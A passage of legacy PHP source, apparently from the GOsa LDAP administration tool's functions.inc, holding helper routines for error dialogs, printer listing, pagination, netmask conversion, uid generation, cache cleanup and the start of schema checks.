1181 </iframe>
1182 <div id='e_layer2'
1183 style=\"
1184 position: absolute;
1185 left: 0px;
1186 top: 0px;
1187 right:0px;
1188 bottom:0px;
1189 z-index:0;
1190 width:100%;
1191 height:100%;
1192 filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true, sizingMethod=scale, src='images/opacity_black.png'); \">
1193 </div>";
1194 $hide = "hide(\"e_layer\");hide(\"e_layer2\");hide(\"e_layer3\");";
1195 }else{
1197 $_SESSION['errors'].= "
1198 <div id='e_layer2'
1199 style=\"
1200 position: absolute;
1201 left: 0px;
1202 top: 0px;
1203 right:0px;
1204 bottom:0px;
1205 z-index:0;
1206 background-image: url(images/opacity_black.png);\">
1207 </div>";
1208 $hide = "hide(\"e_layer\");hide(\"e_layer2\");";
1209 }
1211 $_SESSION['errors'].= "
1212 <div style='left:20%;right:20%;top:30%;".
1213 "background-color:white;padding:5px;border:5px solid red;z-index:150;".
1214 "position:absolute' id='e_layer'><table style='width:100%' summary='' border=0>".
1215 "<tr><td style='vertical-align:top;padding:10px'><img alt='' src='".
1216 get_template_path($img)."'></td>".
1217 "<td style='width:100%'><b>$string</b><br><br>$addmsg</td></tr><tr><td colspan='2' align='center'><br><button ".
1218 (($_SESSION['js']==FALSE)?"type='submit'":"type='button' name='error_accept'").
1219 " style='width:80px' onClick='".$hide."'>".
1220 _("OK")."</button></td></tr></table></div>";
1221 }
1223 }else{
1224 return;
1225 }
1226 $_SESSION['errorsAlreadyPosted'][$string] = 1;
1228 }
1230 } else {
1231 echo "Error: $string\n";
1232 }
1233 $_SESSION['LastError'] = $string;
1234 }
1237 function gen_locked_message($user, $dn)
1238 {
1239 global $plug, $config;
1241 $_SESSION['dn']= $dn;
1242 $ldap= $config->get_ldap_link();
1243 $ldap->cat ($user, array('uid', 'cn'));
1244 $attrs= $ldap->fetch();
1246 /* Stop if we have no user here... */
1247 if (count($attrs)){
1248 $uid= $attrs["uid"][0];
1249 $cn= $attrs["cn"][0];
1250 } else {
1251 $uid= $attrs["uid"][0];
1252 $cn= $attrs["cn"][0];
1253 }
1255 $remove= false;
1257 if((isset($_SESSION['LOCK_VARS_TO_USE']))&&(count($_SESSION['LOCK_VARS_TO_USE']))){
1258 $_SESSION['LOCK_VARS_USED'] =array();
1259 foreach($_SESSION['LOCK_VARS_TO_USE'] as $name){
1261 if(empty($name)) continue;
1262 foreach($_POST as $Pname => $Pvalue){
1263 if(preg_match($name,$Pname)){
1264 $_SESSION['LOCK_VARS_USED'][$Pname] = $_POST[$Pname];
1265 }
1266 }
1268 foreach($_GET as $Pname => $Pvalue){
1269 if(preg_match($name,$Pname)){
1270 $_SESSION['LOCK_VARS_USED'][$Pname] = $_GET[$Pname];
1271 }
1272 }
1273 }
1274 $_SESSION['LOCK_VARS_TO_USE'] =array();
1275 }
1277 /* Prepare and show template */
1278 $smarty= get_smarty();
1279 $smarty->assign ("dn", $dn);
1280 if ($remove){
1281 $smarty->assign ("action", _("Continue anyway"));
1282 } else {
1283 $smarty->assign ("action", _("Edit anyway"));
1284 }
1285 $smarty->assign ("message", sprintf(_("You're going to edit the LDAP entry '%s' which appears to be used by '%s'. Please contact the person in order to clarify proceedings."), "<b>".$dn."</b>", "<b><a href=\"main.php?plug=0&viewid=$uid\">$cn</a></b>"));
1287 return ($smarty->fetch (get_template_path('islocked.tpl')));
1288 }
1291 function to_string ($value)
1292 {
1293 /* If this is an array, generate a text blob */
1294 if (is_array($value)){
1295 $ret= "";
1296 foreach ($value as $line){
1297 $ret.= $line."<br>\n";
1298 }
1299 return ($ret);
1300 } else {
1301 return ($value);
1302 }
1303 }
1306 function get_printer_list($cups_server)
1307 {
1308 global $config;
1310 $res= array();
1312 /* Use CUPS, if we've access to it */
1313 if (function_exists('cups_get_dest_list')){
1314 $dest_list= cups_get_dest_list ($cups_server);
1316 foreach ($dest_list as $prt){
1317 $attr= cups_get_printer_attributes ($cups_server, $prt->name);
1319 foreach ($attr as $prt_info){
1320 if ($prt_info->name == "printer-info"){
1321 $info= $prt_info->value;
1322 break;
1323 }
1324 }
1325 $res[$prt->name]= "$info [$prt->name]";
1326 }
1328 /* CUPS is not available, try lpstat as a replacement */
1329 } else {
1330 $ar = false;
1331 exec("lpstat -p", $ar);
1332 foreach($ar as $val){
1333 @list($dummy, $printer, $rest)= split(' ', $val, 3);
1334 if (preg_match('/^[^@]+$/', $printer)){
1335 $res[$printer]= "$printer";
1336 }
1337 }
1338 }
1340 /* Merge in printers from LDAP */
1341 $ldap= $config->get_ldap_link();
1342 $ldap->cd ($config->current['BASE']);
1343 $ui= get_userinfo();
1344 if (isset($config->current['STRICT_UNITS']) && preg_match('/TRUE/i', $config->current['STRICT_UNITS']) && $ui->gosaUnitTag != ""){
1345 $ldap->search('((objectClass=gotoPrinter)(gosaUnitTag='.$ui->gosaUnitTag.'))', array('cn'));
1346 } else {
1347 $ldap->search('(objectClass=gotoPrinter)', array('cn'));
1348 }
1349 while($attrs = $ldap->fetch()){
1350 $res[$attrs['cn'][0]] = $attrs['cn'][0];
1351 }
1353 return $res;
1354 }
1357 function sess_del ($var)
1358 {
1359 /* New style */
1360 unset ($_SESSION[$var]);
1362 /* ... work around, since the first one
1363 doesn't seem to work all the time */
1364 session_unregister ($var);
1365 }
1368 function show_errors($message)
1369 {
1370 $complete= "";
1372 /* Assemble the message array to a plain string */
1373 foreach ($message as $error){
1374 if ($complete == ""){
1375 $complete= $error;
1376 } else {
1377 $complete= "$error<br>$complete";
1378 }
1379 }
1381 /* Fill ERROR variable with nice error dialog */
1382 print_red($complete);
1383 }
1386 function show_ldap_error($message, $addon= "")
1387 {
1388 if (!preg_match("/Success/i", $message)){
1389 if ($addon == ""){
1390 print_red (_("LDAP error: $message"));
1391 } else {
1392 print_red ("$addon<br><br><b>"._("LDAP error:")."</b> $message");
1393 }
1394 return TRUE;
1395 } else {
1396 return FALSE;
1397 }
1398 }
1401 function rewrite($s)
1402 {
1403 global $REWRITE;
1405 foreach ($REWRITE as $key => $val){
1406 $s= preg_replace("/$key/", "$val", $s);
1407 }
1409 return ($s);
1410 }
1413 function dn2base($dn)
1414 {
1415 global $config;
1417 if (get_people_ou() != ""){
1418 $dn= preg_replace('/,'.get_people_ou().'/i' , ',', $dn);
1419 }
1420 if (get_groups_ou() != ""){
1421 $dn= preg_replace('/,'.get_groups_ou().'/i' , ',', $dn);
1422 }
1423 $base= preg_replace ('/^[^,]+,/i', '', $dn);
1425 return ($base);
1426 }
1430 function check_command($cmdline)
1431 {
1432 $cmd= preg_replace("/ .*$/", "", $cmdline);
1434 /* Check if command exists in filesystem */
1435 if (!file_exists($cmd)){
1436 return (FALSE);
1437 }
1439 /* Check if command is executable */
1440 if (!is_executable($cmd)){
1441 return (FALSE);
1442 }
1444 return (TRUE);
1445 }
1448 function print_header($image, $headline, $info= "")
1449 {
1450 $display= "<div class=\"plugtop\">\n";
1451 $display.= " <p class=\"center\" style=\"margin:0px 0px 0px 5px;padding:0px;font-size:24px;\"><img class=\"center\" src=\"$image\" align=\"middle\" alt=\"*\"> $headline</p>\n";
1452 $display.= "</div>\n";
1454 if ($info != ""){
1455 $display.= "<div class=\"pluginfo\">\n";
1456 $display.= "$info";
1457 $display.= "</div>\n";
1458 } else {
1459 $display.= "<div style=\"height:5px;\">\n";
1460 $display.= " ";
1461 $display.= "</div>\n";
1462 }
1463 # if (isset($_SESSION['errors'])){
1464 # $display.= $_SESSION['errors'];
1465 # }
1467 return ($display);
1468 }
1471 function register_global($name, $object)
1472 {
1473 $_SESSION[$name]= $object;
1474 }
1477 function is_global($name)
1478 {
1479 return isset($_SESSION[$name]);
1480 }
1483 function get_global($name)
1484 {
1485 return $_SESSION[$name];
1486 }
1489 function range_selector($dcnt,$start,$range=25,$post_var=false)
1490 {
1492 /* Entries shown left and right from the selected entry */
1493 $max_entries= 10;
1495 /* Initialize and take care that max_entries is even */
1496 $output="";
1497 if ($max_entries & 1){
1498 $max_entries++;
1499 }
1501 if((!empty($post_var))&&(isset($_POST[$post_var]))){
1502 $range= $_POST[$post_var];
1503 }
1505 /* Prevent output to start or end out of range */
1506 if ($start < 0 ){
1507 $start= 0 ;
1508 }
1509 if ($start >= $dcnt){
1510 $start= $range * (int)(($dcnt / $range) + 0.5);
1511 }
1513 $numpages= (($dcnt / $range));
1514 if(((int)($numpages))!=($numpages)){
1515 $numpages = (int)$numpages + 1;
1516 }
1517 if ((((int)$numpages) <= 1 )&&(!$post_var)){
1518 return ("");
1519 }
1520 $ppage= (int)(($start / $range) + 0.5);
1523 /* Align selected page to +/- max_entries/2 */
1524 $begin= $ppage - $max_entries/2;
1525 $end= $ppage + $max_entries/2;
1527 /* Adjust begin/end, so that the selected value is somewhere in
1528 the middle and the size is max_entries if possible */
1529 if ($begin < 0){
1530 $end-= $begin + 1;
1531 $begin= 0;
1532 }
1533 if ($end > $numpages) {
1534 $end= $numpages;
1535 }
1536 if (($end - $begin) < $max_entries && ($end - $max_entries) > 0){
1537 $begin= $end - $max_entries;
1538 }
1540 if($post_var){
1541 $output.= "<div style='border:1px solid #E0E0E0; background-color:#FFFFFF;'>
1542 <table summary='' width='100%'><tr><td style='width:25%'></td><td style='text-align:center;'>";
1543 }else{
1544 $output.= "<div style='border:1px solid #E0E0E0; background-color:#FFFFFF;'>";
1545 }
1547 /* Draw decrement */
1548 if ($start > 0 ) {
1549 $output.=" <a href= \"main.php?plug=".validate($_GET['plug'])."&start=".
1550 (($start-$range))."\">".
1551 "<img class=\"center\" alt=\"\" src=\"images/back.png\" border=0 align=\"middle\"></a>";
1552 }
1554 /* Draw pages */
1555 for ($i= $begin; $i < $end; $i++) {
1556 if ($ppage == $i){
1557 $output.= "<a style=\"vertical-align:middle;background-color:#D0D0D0;\" href=\"main.php?plug=".
1558 validate($_GET['plug'])."&start=".
1559 ($i*$range)."\"> ".($i+1)." </a>";
1560 } else {
1561 $output.= "<a style=\"vertical-align:middle;\" href=\"main.php?plug=".validate($_GET['plug']).
1562 "&start=".($i*$range)."\"> ".($i+1)." </a>";
1563 }
1564 }
1566 /* Draw increment */
1567 if($start < ($dcnt-$range)) {
1568 $output.=" <a href= \"main.php?plug=".validate($_GET['plug'])."&start=".
1569 (($start+($range)))."\">".
1570 "<img class=\"center\" alt=\"\" src=\"images/forward.png\" border=\"0\" align=\"middle\"></a>";
1571 }
1573 if(($post_var)&&($numpages)){
1574 $output.= "</td><td style='width:25%;text-align:right;vertical-align:middle;'> "._("Entries per page")." <select style='vertical-align:middle;' name='".$post_var."' onChange='javascript:document.mainform.submit()'>";
1575 foreach(array(20,50,100,200,"all") as $num){
1576 if($num == "all"){
1577 $var = 10000;
1578 }else{
1579 $var = $num;
1580 }
1581 if($var == $range){
1582 $output.="\n<option selected='selected' value='".$var."'>".$num."</option>";
1583 }else{
1584 $output.="\n<option value='".$var."'>".$num."</option>";
1585 }
1586 }
1587 $output.= "</select></td></tr></table></div>";
1588 }else{
1589 $output.= "</div>";
1590 }
1592 return($output);
1593 }
1596 function apply_filter()
1597 {
1598 $apply= "";
1600 $apply= ''.
1601 '<table summary="" width="100%" style="background:#EEEEEE;border-top:1px solid #B0B0B0;"><tr><td width="100%" align="right">'.
1602 '<input type="submit" name="apply" value="'._("Apply filter").'"></td></tr></table>';
1604 return ($apply);
1605 }
1608 function back_to_main()
1609 {
1610 $string= '<br><p class="plugbottom"><input type=submit name="password_back" value="'.
1611 _("Back").'"></p><input type="hidden" name="ignore">';
1613 return ($string);
1614 }
1617 function normalize_netmask($netmask)
1618 {
1619 /* Check for notation of netmask */
1620 if (!preg_match('/^([0-9]+\.){3}[0-9]+$/', $netmask)){
1621 $num= (int)($netmask);
1622 $netmask= "";
1624 for ($byte= 0; $byte<4; $byte++){
1625 $result=0;
1627 for ($i= 7; $i>=0; $i--){
1628 if ($num-- > 0){
1629 $result+= pow(2,$i);
1630 }
1631 }
1633 $netmask.= $result.".";
1634 }
1636 return (preg_replace('/\.$/', '', $netmask));
1637 }
1639 return ($netmask);
1640 }
1643 function netmask_to_bits($netmask)
1644 {
1645 list($nm0, $nm1, $nm2, $nm3)= split('\.', $netmask);
1646 $res= 0;
1648 for ($n= 0; $n<4; $n++){
1649 $start= 255;
1650 $name= "nm$n";
1652 for ($i= 0; $i<8; $i++){
1653 if ($start == (int)($$name)){
1654 $res+= 8 - $i;
1655 break;
1656 }
1657 $start-= pow(2,$i);
1658 }
1659 }
1661 return ($res);
1662 }
1665 function recurse($rule, $variables)
1666 {
1667 $result= array();
1669 if (!count($variables)){
1670 return array($rule);
1671 }
1673 reset($variables);
1674 $key= key($variables);
1675 $val= current($variables);
1676 unset ($variables[$key]);
1678 foreach($val as $possibility){
1679 $nrule= preg_replace("/\{$key\}/", $possibility, $rule);
1680 $result= array_merge($result, recurse($nrule, $variables));
1681 }
1683 return ($result);
1684 }
1687 function expand_id($rule, $attributes)
1688 {
1689 /* Check for id rule */
1690 if(preg_match('/^id(:|#)\d+$/',$rule)){
1691 return (array("\{$rule}"));
1692 }
1694 /* Check for clean attribute */
1695 if (preg_match('/^%[a-zA-Z0-9]+$/', $rule)){
1696 $rule= preg_replace('/^%/', '', $rule);
1697 $val= rewrite(preg_replace('/ /', '', strtolower($attributes[$rule])));
1698 return (array($val));
1699 }
1701 /* Check for attribute with parameters */
1702 if (preg_match('/^%[a-zA-Z0-9]+\[[0-9-]+\]$/', $rule)){
1703 $param= preg_replace('/^[^[]+\[([^]]+)]$/', '\\1', $rule);
1704 $part= preg_replace('/^%/', '', preg_replace('/\[.*$/', '', $rule));
1705 $val= rewrite(preg_replace('/ /', '', strtolower($attributes[$part])));
1706 $start= preg_replace ('/-.*$/', '', $param);
1707 $stop = preg_replace ('/^[^-]+-/', '', $param);
1709 /* Assemble results */
1710 $result= array();
1711 for ($i= $start; $i<= $stop; $i++){
1712 $result[]= substr($val, 0, $i);
1713 }
1714 return ($result);
1715 }
1717 echo "Error in idgen string: don't know how to handle rule $rule.\n";
1718 return (array($rule));
1719 }
1722 function gen_uids($rule, $attributes)
1723 {
1724 global $config;
1726 /* Search for keys and fill the variables array with all
1727 possible values for that key. */
1728 $part= "";
1729 $trigger= false;
1730 $stripped= "";
1731 $variables= array();
1733 for ($pos= 0; $pos < strlen($rule); $pos++){
1735 if ($rule[$pos] == "{" ){
1736 $trigger= true;
1737 $part= "";
1738 continue;
1739 }
1741 if ($rule[$pos] == "}" ){
1742 $variables[$pos]= expand_id($part, $attributes);
1743 $stripped.= "{".$pos."}";
1744 $trigger= false;
1745 continue;
1746 }
1748 if ($trigger){
1749 $part.= $rule[$pos];
1750 } else {
1751 $stripped.= $rule[$pos];
1752 }
1753 }
1755 /* Recurse through all possible combinations */
1756 $proposed= recurse($stripped, $variables);
1758 /* Get list of used ID's */
1759 $used= array();
1760 $ldap= $config->get_ldap_link();
1761 $ldap->cd($config->current['BASE']);
1762 $ldap->search('(uid=*)');
1764 while($attrs= $ldap->fetch()){
1765 $used[]= $attrs['uid'][0];
1766 }
1768 /* Remove used uids and watch out for id tags */
1769 $ret= array();
1770 foreach($proposed as $uid){
1772 /* Check for id tag and modify uid if needed */
1773 if(preg_match('/\{id:\d+}/',$uid)){
1774 $size= preg_replace('/^.*{id:(\d+)}.*$/', '\\1', $uid);
1776 for ($i= 0; $i < pow(10,$size); $i++){
1777 $number= sprintf("%0".$size."d", $i);
1778 $res= preg_replace('/{id:(\d+)}/', $number, $uid);
1779 if (!in_array($res, $used)){
1780 $uid= $res;
1781 break;
1782 }
1783 }
1784 }
1786 if(preg_match('/\{id#\d+}/',$uid)){
1787 $size= preg_replace('/^.*{id#(\d+)}.*$/', '\\1', $uid);
1789 while (true){
1790 mt_srand((double) microtime()*1000000);
1791 $number= sprintf("%0".$size."d", mt_rand(0, pow(10, $size)-1));
1792 $res= preg_replace('/{id#(\d+)}/', $number, $uid);
1793 if (!in_array($res, $used)){
1794 $uid= $res;
1795 break;
1796 }
1797 }
1798 }
1800 /* Don't assign used ones */
1801 if (!in_array($uid, $used)){
1802 $ret[]= $uid;
1803 }
1804 }
1806 return(array_unique($ret));
1807 }
1810 function array_search_r($needle, $key, $haystack){
1812 foreach($haystack as $index => $value){
1813 $match= 0;
1815 if (is_array($value)){
1816 $match= array_search_r($needle, $key, $value);
1817 }
1819 if ($index==$key && !is_array($value) && preg_match("/$needle/i", $value)){
1820 $match=1;
1821 }
1823 if ($match){
1824 return 1;
1825 }
1826 }
1828 return 0;
1829 }
1832 /* Sadly values like memory_limit are perpended by K, M, G, etc.
1833 Need to convert... */
1834 function to_byte($value) {
1835 $value= strtolower(trim($value));
1837 if(!is_numeric(substr($value, -1))) {
1839 switch(substr($value, -1)) {
1840 case 'g':
1841 $mult= 1073741824;
1842 break;
1843 case 'm':
1844 $mult= 1048576;
1845 break;
1846 case 'k':
1847 $mult= 1024;
1848 break;
1849 }
1851 return ($mult * (int)substr($value, 0, -1));
1852 } else {
1853 return $value;
1854 }
1855 }
1858 function in_array_ics($value, $items)
1859 {
1860 if (!is_array($items)){
1861 return (FALSE);
1862 }
1864 foreach ($items as $item){
1865 if (strtolower($item) == strtolower($value)) {
1866 return (TRUE);
1867 }
1868 }
1870 return (FALSE);
1871 }
1874 function generate_alphabet($count= 10)
1875 {
1876 $characters= _("*ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789");
1877 $alphabet= "";
1878 $c= 0;
1880 /* Fill cells with charaters */
1881 for ($i= 0; $i<mb_strlen($characters, 'UTF8'); $i++){
1882 if ($c == 0){
1883 $alphabet.= "<tr>";
1884 }
1886 $ch = mb_substr($characters, $i, 1, "UTF8");
1887 $alphabet.= "<td><a class=\"alphaselect\" href=\"main.php?plug=".
1888 validate($_GET['plug'])."&search=".$ch."\"> ".$ch." </a></td>";
1890 if ($c++ == $count){
1891 $alphabet.= "</tr>";
1892 $c= 0;
1893 }
1894 }
1896 /* Fill remaining cells */
1897 while ($c++ <= $count){
1898 $alphabet.= "<td> </td>";
1899 }
1901 return ($alphabet);
1902 }
1905 function validate($string)
1906 {
1907 return (strip_tags(preg_replace('/\0/', '', $string)));
1908 }
1910 function get_gosa_version()
1911 {
1912 global $svn_revision, $svn_path;
1914 /* Extract informations */
1915 $revision= preg_replace('/^[^0-9]*([0-9]+)[^0-9]*$/', '\1', $svn_revision);
1917 /* Release or development? */
1918 if (preg_match('%/gosa/trunk/%', $svn_path)){
1919 return (sprintf(_("GOsa development snapshot (Rev %s)"), $revision));
1920 } else {
1921 $release= preg_replace('%^.*/([^/]+)/include/functions.inc.*$%', '\1', $svn_path);
1922 return (_("GOsa $release"));
1923 }
1924 }
1927 function rmdirRecursive($path, $followLinks=false) {
1928 $dir= opendir($path);
1929 while($entry= readdir($dir)) {
1930 if(is_file($path."/".$entry) || ((!$followLinks) && is_link($path."/".$entry))) {
1931 unlink($path."/".$entry);
1932 } elseif (is_dir($path."/".$entry) && $entry!='.' && $entry!='..') {
1933 rmdirRecursive($path."/".$entry);
1934 }
1935 }
1936 closedir($dir);
1937 return rmdir($path);
1938 }
1940 function scan_directory($path,$sort_desc=false)
1941 {
1942 $ret = false;
1944 /* is this a dir ? */
1945 if(is_dir($path)) {
1947 /* is this path a readable one */
1948 if(is_readable($path)){
1950 /* Get contents and write it into an array */
1951 $ret = array();
1953 $dir = opendir($path);
1955 /* Is this a correct result ?*/
1956 if($dir){
1957 while($fp = readdir($dir))
1958 $ret[]= $fp;
1959 }
1960 }
1961 }
1962 /* Sort array ascending , like scandir */
1963 sort($ret);
1965 /* Sort descending if parameter is sort_desc is set */
1966 if($sort_desc) {
1967 $ret = array_reverse($ret);
1968 }
1970 return($ret);
1971 }
1973 function clean_smarty_compile_dir($directory)
1974 {
1975 global $svn_revision;
1977 if(is_dir($directory) && is_readable($directory)) {
1978 // Set revision filename to REVISION
1979 $revision_file= $directory."/REVISION";
1981 /* Is there a stamp containing the current revision? */
1982 if(!file_exists($revision_file)) {
1983 // create revision file
1984 create_revision($revision_file, $svn_revision);
1985 } else {
1986 # check for "$config->...['CONFIG']/revision" and the
1987 # contents should match the revision number
1988 if(!compare_revision($revision_file, $svn_revision)){
1989 // If revision differs, clean compile directory
1990 foreach(scan_directory($directory) as $file) {
1991 if(($file==".")||($file=="..")) continue;
1992 if( is_file($directory."/".$file) &&
1993 is_writable($directory."/".$file)) {
1994 // delete file
1995 if(!unlink($directory."/".$file)) {
1996 print_red("File ".$directory."/".$file." could not be deleted.");
1997 // This should never be reached
1998 }
1999 } elseif(is_dir($directory."/".$file) &&
2000 is_writable($directory."/".$file)) {
2001 // Just recursively delete it
2002 rmdirRecursive($directory."/".$file);
2003 }
2004 }
2005 // We should now create a fresh revision file
2006 clean_smarty_compile_dir($directory);
2007 } else {
2008 // Revision matches, nothing to do
2009 }
2010 }
2011 } else {
2012 // Smarty compile dir is not accessible
2013 // (Smarty will warn about this)
2014 }
2015 }
2017 function create_revision($revision_file, $revision)
2018 {
2019 $result= false;
2021 if(is_dir(dirname($revision_file)) && is_writable(dirname($revision_file))) {
2022 if($fh= fopen($revision_file, "w")) {
2023 if(fwrite($fh, $revision)) {
2024 $result= true;
2025 }
2026 }
2027 fclose($fh);
2028 } else {
2029 print_red("Can not write to revision file");
2030 }
2032 return $result;
2033 }
2035 function compare_revision($revision_file, $revision)
2036 {
2037 // false means revision differs
2038 $result= false;
2040 if(file_exists($revision_file) && is_readable($revision_file)) {
2041 // Open file
2042 if($fh= fopen($revision_file, "r")) {
2043 // Compare File contents with current revision
2044 if($revision == fread($fh, filesize($revision_file))) {
2045 $result= true;
2046 }
2047 } else {
2048 print_red("Can not open revision file");
2049 }
2050 // Close file
2051 fclose($fh);
2052 }
2054 return $result;
2055 }
2057 function progressbar($percentage,$width=100,$height=15,$showvalue=false)
2058 {
2059 $str = ""; // Our return value will be saved in this var
2061 $color = dechex($percentage+150);
2062 $color2 = dechex(150 - $percentage);
2063 $bgcolor= $showvalue?"FFFFFF":"DDDDDD";
2065 $progress = (int)(($percentage /100)*$width);
2067 /* Abort printing out percentage, if divs are to small */
2070 /* If theres a better solution for this, use it... */
2071 $str = "
2072 <div style=\" width:".($width)."px;
2073 height:".($height)."px;
2074 background-color:#000000;
2075 padding:1px;\">
2077 <div style=\" width:".($width)."px;
2078 background-color:#$bgcolor;
2079 height:".($height)."px;\">
2081 <div style=\" width:".$progress."px;
2082 height:".$height."px;
2083 background-color:#".$color2.$color2.$color."; \">";
2086 if(($height >10)&&($showvalue)){
2087 $str.= "<font style=\"font-size:".($height-2)."px;color:#FF0000;align:middle;padding-left:".((int)(($width*0.4)))."px;\">
2088 <b>".$percentage."%</b>
2089 </font>";
2090 }
2092 $str.= "</div></div></div>";
2094 return($str);
2095 }
2098 function array_key_ics($ikey, $items)
2099 {
2100 /* Gather keys, make them lowercase */
2101 $tmp= array();
2102 foreach ($items as $key => $value){
2103 $tmp[strtolower($key)]= $key;
2104 }
2106 if (isset($tmp[strtolower($ikey)])){
2107 return($tmp[strtolower($ikey)]);
2108 }
2110 return ("");
2111 }
2114 function search_config($arr, $name, $return)
2115 {
2116 if (is_array($arr)){
2117 foreach ($arr as $a){
2118 if (isset($a['CLASS']) &&
2119 strtolower($a['CLASS']) == strtolower($name)){
2121 if (isset($a[$return])){
2122 return ($a[$return]);
2123 } else {
2124 return ("");
2125 }
2126 } else {
2127 $res= search_config ($a, $name, $return);
2128 if ($res != ""){
2129 return $res;
2130 }
2131 }
2132 }
2133 }
2134 return ("");
2135 }
2138 function array_differs($src, $dst)
2139 {
2140 /* If the count is differing, the arrays differ */
2141 if (count ($src) != count ($dst)){
2142 return (TRUE);
2143 }
2145 /* So the count is the same - lets check the contents */
2146 $differs= FALSE;
2147 foreach($src as $value){
2148 if (!in_array($value, $dst)){
2149 $differs= TRUE;
2150 }
2151 }
2153 return ($differs);
2154 }
2157 function saveFilter($a_filter, $values)
2158 {
2159 if (isset($_POST['regexit'])){
2160 $a_filter["regex"]= $_POST['regexit'];
2162 foreach($values as $type){
2163 if (isset($_POST[$type])) {
2164 $a_filter[$type]= "checked";
2165 } else {
2166 $a_filter[$type]= "";
2167 }
2168 }
2169 }
2171 /* React on alphabet links if needed */
2172 if (isset($_GET['search'])){
2173 $s= mb_substr(validate($_GET['search']), 0, 1, "UTF8")."*";
2174 if ($s == "**"){
2175 $s= "*";
2176 }
2177 $a_filter['regex']= $s;
2178 }
2180 return ($a_filter);
2181 }
2184 /* Escape all preg_* relevant characters */
2185 function normalizePreg($input)
2186 {
2187 return (addcslashes($input, '[]()|/.*+-'));
2188 }
2191 /* Escape all LDAP filter relevant characters */
2192 function normalizeLdap($input)
2193 {
2194 return (addcslashes($input, '()|'));
2195 }
2198 /* Resturns the difference between to microtime() results in float */
2199 function get_MicroTimeDiff($start , $stop)
2200 {
2201 $a = split("\ ",$start);
2202 $b = split("\ ",$stop);
2204 $secs = $b[1] - $a[1];
2205 $msecs= $b[0] - $a[0];
2207 $ret = (float) ($secs+ $msecs);
2208 return($ret);
2209 }
2212 /* Check if the given department name is valid */
2213 function is_department_name_reserved($name,$base)
2214 {
2215 $reservedName = array("systems","apps","incomming","internal","accounts","fax","addressbook",
2216 preg_replace("/ou=(.*),/","\\1",get_people_ou()),
2217 preg_replace("/ou=(.*),/","\\1",get_groups_ou()));
2218 $follwedNames['/ou=fai,ou=configs,ou=systems,/'] = array("fai","hooks","templates","scripts","disk","packages","variables","profiles");
2220 /* Check if name is one of the reserved names */
2221 if(in_array_ics($name,$reservedName)) {
2222 return(true);
2223 }
2225 /* Check all follow combinations if name is in array && parent base == array_key, return false*/
2226 foreach($follwedNames as $key => $names){
2227 if((in_array_ics($name,$names)) && (preg_match($key,$base))){
2228 return(true);
2229 }
2230 }
2231 return(false);
2232 }
2235 function is_php4()
2236 {
2237 if (isset($_SESSION['PHP4COMPATIBLE'])){
2238 return true;
2239 }
2240 return (preg_match('/^4/', phpversion()));
2241 }
2244 function gosa_ldap_explode_dn($dn,$config = NULL,$verify_in_ldap=false)
2245 {
2246 /* Initialize variables */
2247 $ret = array("count" => 0); // Set count to 0
2248 $next = true; // if false, then skip next loops and return
2249 $cnt = 0; // Current number of loops
2250 $max = 100; // Just for security, prevent looops
2251 $ldap = NULL; // To check if created result a valid
2252 $keep = ""; // save last failed parse string
2254 /* Check each parsed dn in ldap ? */
2255 if($config!=NULL && $verify_in_ldap){
2256 $ldap = $config->get_ldap_link();
2257 }
2259 /* Lets start */
2260 $called = false;
2261 while(preg_match("/,/",$dn) && $next && $cnt < $max){
2263 $cnt ++;
2264 if(!preg_match("/,/",$dn)){
2265 $next = false;
2266 }
2267 $object = preg_replace("/[,].*$/","",$dn);
2268 $dn = preg_replace("/^[^,]+,/","",$dn);
2270 $called = true;
2272 /* Check if current dn is valid */
2273 if($ldap!=NULL){
2274 $ldap->cd($dn);
2275 $ldap->cat($dn,array("dn"));
2276 if($ldap->count()){
2277 $ret[] = $keep.$object;
2278 $keep = "";
2279 }else{
2280 $keep .= $object.",";
2281 }
2282 }else{
2283 $ret[] = $keep.$object;
2284 $keep = "";
2285 }
2286 }
2288 /* No dn was posted */
2289 if($cnt == 0 && !empty($dn)){
2290 $ret[] = $dn;
2291 }
2293 /* Append the rest */
2294 $test = $keep.$dn;
2295 if($called && !empty($test)){
2296 $ret[] = $keep.$dn;
2297 }
2298 $ret['count'] = count($ret) - 1;
2300 return($ret);
2301 }
2304 function get_base_from_hook($dn, $attrib)
2305 {
2306 global $config;
2308 if (isset($config->current['BASE_HOOK'])){
2310 /* Call hook script - if present */
2311 $command= $config->current['BASE_HOOK'];
2313 if ($command != ""){
2314 $command.= " '".LDAP::fix($dn)."' $attrib";
2315 if (check_command($command)){
2316 @DEBUG (DEBUG_SHELL, __LINE__, __FUNCTION__, __FILE__, $command, "Execute");
2317 exec($command, $output);
2318 if (preg_match("/^[0-9]+$/", $output[0])){
2319 return ($output[0]);
2320 } else {
2321 print_red(_("Warning - base_hook is not available. Using default base."));
2322 return ($config->current['UIDBASE']);
2323 }
2324 } else {
2325 print_red(_("Warning - base_hook is not available. Using default base."));
2326 return ($config->current['UIDBASE']);
2327 }
2329 } else {
2331 print_red(_("Warning - no base_hook defined. Using default base."));
2332 return ($config->current['UIDBASE']);
2334 }
2335 }
2336 }
2338 /* Schema validation functions */
2340 function check_schema_version($class, $version)
2341 {
2342 return preg_match("/\(v$version\)/", $class['DESC']);
2343 }
2347 function check_schema($cfg,$rfc2307bis = FALSE)
2348 {
2350 $messages= array();
2352 /* Get objectclasses */
2353 $ldap = new LDAP($cfg['admin'],$cfg['password'],$cfg['connection'] ,FALSE,$cfg['tls']);
2354 $objectclasses = $ldap->get_objectclasses();
2355 if(count($objectclasses) == 0){
2356 print_red(_("Can't get schema information from server. No schema check possible!"));
2357 }
2359 /* This is the default block used for each entry.
2360 * to avoid unset indexes.
2361 */
2362 $def_check = array("REQUIRED_VERSION" => "0",
2363 "SCHEMA_FILES" => array(),
2364 "CLASSES_REQUIRED" => array(),
2365 "STATUS" => FALSE,
2366 "IS_MUST_HAVE" => FALSE,
2367 "MSG" => "",
2368 "INFO" => "");#_("There is currently no information specified for this schema extension."));
2370 /* The gosa base schema */
2371 $checks['gosaObject'] = $def_check;
2372 $checks['gosaObject']['REQUIRED_VERSION'] = "2.4";
2373 $checks['gosaObject']['SCHEMA_FILES'] = array("gosa+samba3.schema","gosa.schema");
2374 $checks['gosaObject']['CLASSES_REQUIRED'] = array("gosaObject");
2375 $checks['gosaObject']['IS_MUST_HAVE'] = TRUE;
2377 /* GOsa Account class */
2378 $checks["gosaAccount"]["REQUIRED_VERSION"]= "2.4";
2379 $checks["gosaAccount"]["SCHEMA_FILES"] = array("gosa+samba3.schema","gosa.schema");
